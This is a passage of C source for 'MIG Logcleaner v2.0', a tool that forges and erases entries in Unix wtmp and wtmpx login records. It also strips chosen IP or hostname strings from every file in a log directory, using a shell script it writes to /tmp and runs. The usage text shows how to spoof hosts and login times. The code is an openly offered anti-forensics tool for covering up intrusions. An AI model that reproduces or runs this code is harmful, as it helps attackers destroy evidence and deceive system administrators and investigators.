  strcpy(new_wtmp_in_record.ut_host, H);
  new_wtmp_out_record.ut_time = O;
  strcpy(new_wtmp_out_record.ut_name, "");
  strcpy(new_wtmp_out_record.ut_line, T);
  strcpy(new_wtmp_out_record.ut_host, H);
#endif
#ifdef SUN
  new_wtmpx_in_record.ut_type = 7;
  new_wtmpx_in_record.ut_pid = 0;
  new_wtmpx_in_record.ut_exit.e_termination = 0;
  new_wtmpx_in_record.ut_exit.e_exit = 0;
  new_wtmpx_in_record.ut_session = 0;
  new_wtmpx_in_record.ut_tv.tv_sec = I;
  new_wtmpx_in_record.ut_tv.tv_usec = 0;
  strcpy(new_wtmpx_in_record.ut_user, U);
  strcpy(new_wtmpx_in_record.ut_line, T);
  strcpy(new_wtmpx_in_record.ut_host, H);
  new_wtmpx_out_record.ut_type = 8;
  new_wtmpx_out_record.ut_pid = 0;
  new_wtmpx_out_record.ut_exit.e_termination = 0;
  new_wtmpx_out_record.ut_exit.e_exit = 0;
  new_wtmpx_out_record.ut_session = 0;
  new_wtmpx_out_record.ut_tv.tv_sec = O;
  new_wtmpx_out_record.ut_tv.tv_usec = 0;
  strcpy(new_wtmpx_out_record.ut_user, "");
  strcpy(new_wtmpx_out_record.ut_line, T);
  strcpy(new_wtmpx_out_record.ut_host, H);
#endif
  if((fd1 = open(WTMP, O_RDWR)) != (-1))
  {
    if((fd2 = open("/tmp/WTMP.TMP", O_RDWR | O_CREAT)) == (-1))
    {
      if(d == 1)
	fprintf(stderr, "Error opening /tmp/WTMP.TMP file\n");
    }
    while(read(fd1, (char *) &wtmp_record, sizeof(wtmp_record)) == sizeof(wtmp_record))
    {
      if((!strcmp(wtmp_record.ut_name, u))
#ifndef BSD
	 && (wtmp_record.ut_type != 8)
#endif
	)
      {
	counter++;
	if(counter == (tota1 + 1 - n))
	{
	  write(fd2, (char *) &wtmp_record, sizeof(wtmp_record));
	  write(fd2, (char *) &new_wtmp_in_record, sizeof(new_wtmp_in_record));
	  write(fd2, (char *) &new_wtmp_out_record, sizeof(new_wtmp_out_record));
	  fprintf(stdout, "[0x%d] Added  user \"%s\" before %d entry of user \"%s\" in %s file\n", c++, U, n, u, WTMP);
	}
	else
	{
	  write(fd2, (char *) &wtmp_record, sizeof(wtmp_record));
	}
      }
      else
      {
	write(fd2, (char *) &wtmp_record, sizeof(wtmp_record));
      }
    }
    if(u[0] == 0 && check == 0)
    {
      write(fd2, (char *) &new_wtmp_in_record, sizeof(new_wtmp_in_record));
      write(fd2, (char *) &new_wtmp_out_record, sizeof(new_wtmp_out_record));
      fprintf(stdout, "[0x%d] Added  user \"%s\" entry on top of  %s file\n", c++, U, WTMP);
      check++;
    }
    close(fd1);
    close(fd2);
    sprintf(command, "mv /tmp/WTMP.TMP %s;chmod 644 %s", WTMP, WTMP);
    system(command);
  }
  else
  {
    if(d == 1)
      fprintf(stderr, "Error opening %s file\n", WTMP);
  }
  counter = 0;
  check = 0;
#ifdef SUN
  if((fd1 = open(WTMPX, O_RDWR)) != (-1))
  {
    if((fd2 = open("/tmp/WTMPX.TMP", O_RDWR | O_CREAT)) == (-1))
    {
      if(d == 1)
	fprintf(stderr, "Error opening /tmp/WTMPX.TMP file\n");
    }
    while(read(fd1, (char *) &wtmpx_record, sizeof(wtmpx_record)) == sizeof(wtmpx_record))
    {
      if((!strcmp(wtmpx_record.ut_name, u)) && (wtmpx_record.ut_type != 8))
      {
	counter++;
	if(counter == (tota2 + 1 - n))
	{
	  write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record));
	  write(fd2, (char *) &new_wtmpx_in_record, sizeof(new_wtmpx_in_record));
	  write(fd2, (char *) &new_wtmpx_out_record, sizeof(new_wtmpx_out_record));
	  fprintf(stdout, "[0x%d] Added  user \"%s\" before %d entry of user \"%s\" in %s file\n", c++, U, n, u, WTMPX);
	}
	else
	{
	  write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record));
	}
      }
      else
      {
	write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record));
      }
    }
    if(u[0] == 0 && check == 0)
    {
      write(fd2, (char *) &new_wtmpx_in_record, sizeof(new_wtmpx_in_record));
      write(fd2, (char *) &new_wtmpx_out_record, sizeof(new_wtmpx_out_record));
      fprintf(stdout, "[0x%d] Added  user \"%s\" entry on top of  %s file\n", c++, U, WTMPX);
      check++;
    }
    close(fd1);
    close(fd2);
    sprintf(command, "mv /tmp/WTMPX.TMP %s;chmod 644 %s", WTMPX, WTMPX);
    system(command);
  }
  else
  {
    if(d == 1)
      fprintf(stderr, "Error opening %s file\n", WTMPX);
  }
#endif
  return (0);
}
int txt_clean(char *D, char *a, char *b, int d)
{
  char command[999];
  bzero(command,sizeof(command));
  sprintf(command,"echo \"find %s -type f|grep -v \
wtmp|grep -v utmp|grep -v lastlog>/tmp/dirs.\
IP\">/tmp/mig.sh;echo \"if [ -s /tmp/dirs.IP ]\">\
>/tmp/mig.sh;echo then>>/tmp/mig.sh;echo \"set \\`cat \
/tmp/dirs.IP\\`\">>/tmp/mig.sh;echo \"for F1 in \\
\`echo \\$@\\`\">>/tmp/mig.sh;echo do>>/tmp/mig.sh;ech\
o \"cat \\\"\\$F1\\\"|grep -v \\\"%s\\\">/tm\
p/F1.tmp;cat /tmp/F1.tmp>\\\"\\$F1\\\"\">>/tmp/mi\
g.sh;echo done>>/tmp/mig.sh;echo fi>>/tmp/mig.sh;echo \
\"if [ -s /tmp/dirs.IP ]\">>/tmp/mig.sh;echo then\
>>/tmp/mig.sh;echo \"set \\`cat /tmp/dirs.IP\\`\"\
>>/tmp/mig.sh;echo \"for F2 in \\`echo \\$@\\`\">\
>/tmp/mig.sh;echo do>>/tmp/mig.sh;echo \"cat \\\"\\$F2\
\\\"|grep -v \\\"%s\\\">/tmp/F2.tmp;cat /tmp\
/F2.tmp>\\\"\\$F2\\\"\">>/tmp/mig.sh;echo done>>/tmp/m\
ig.sh;echo fi>>/tmp/mig.sh",D,a,b);
  system(command);
  system("chmod +x /tmp/mig.sh");
  system("/tmp/mig.sh");
  printf("[0x%d] Removed \"%s\" and \"%s\" strings out of %s direcotry\n",c++,a,b,D);
  remove("/tmp/mig.sh");
  remove("/tmp/F1.tmp");
  remove("/tmp/F2.tmp");
  remove("/tmp/dirs.IP");
  return (0);
}
int usage(char *arg)
{
  printf("\n******************************\n");
  printf("* MIG Logcleaner v2.0 by no1 *\n");
  printf("******************************\n");
  printf("usage: %s [-u] [-n] [-d] [-a] [-b] [-R] [-A] [-U] [-T] [-H] [-I] [-O] [-d]\n\n", arg);
  printf(" [-u <user>]\t- username\n");
  printf(" [-n <n>]\t- username record number, 0 removes all records (default: 1)\n");
  printf(" [-d <dir>]\t- log directory (default: /var/log/)\n");
  printf(" [-a <string1>]\t- string to remove out of every file in a log dir (ip?)\n");
  printf(" [-b <string2>]\t- string to remove out of every file in a log dir (hostname?)\n");
  printf(" [-R]\t\t- replace details of specified user entry\n");
  printf(" [-A]\t\t- add new entry before specified user entry (default: 1st entry in list)\n");
  printf(" [-U <user>]\t- new username used in -R of -A\n");
  printf(" [-T <tty>]\t- new tty used in -A\n");
  printf(" [-H <host>]\t- new hostname used in -R or -A\n");
  printf(" [-I <n>]\t- new log in time used in -R or -A (unit time format)\n");
  printf(" [-O <n>]\t- new log out time used in -R or -A (unit time format)\n");
  printf(" [-d]\t\t- debug mode\n\n");
  printf("eg:    %s -u john -n 2 -d /secret/logs/ -a 1.2.3.4 -b leet.org\n", arg);
  printf("       %s -u john -n 6\n", arg);
  printf("       %s -d /secret/logs/ -a 1.2.3.4\n", arg);
  printf("       %s -u john -n 2 -R -H china.gov\n", arg);
  printf("       %s -u john -n 5 -A -U jane -T tty1 -H arb.com -I 12345334 -O 12345397\n\n", arg);
  return (0);
}
/*******************/
// greyhats.za.net //
/*******************/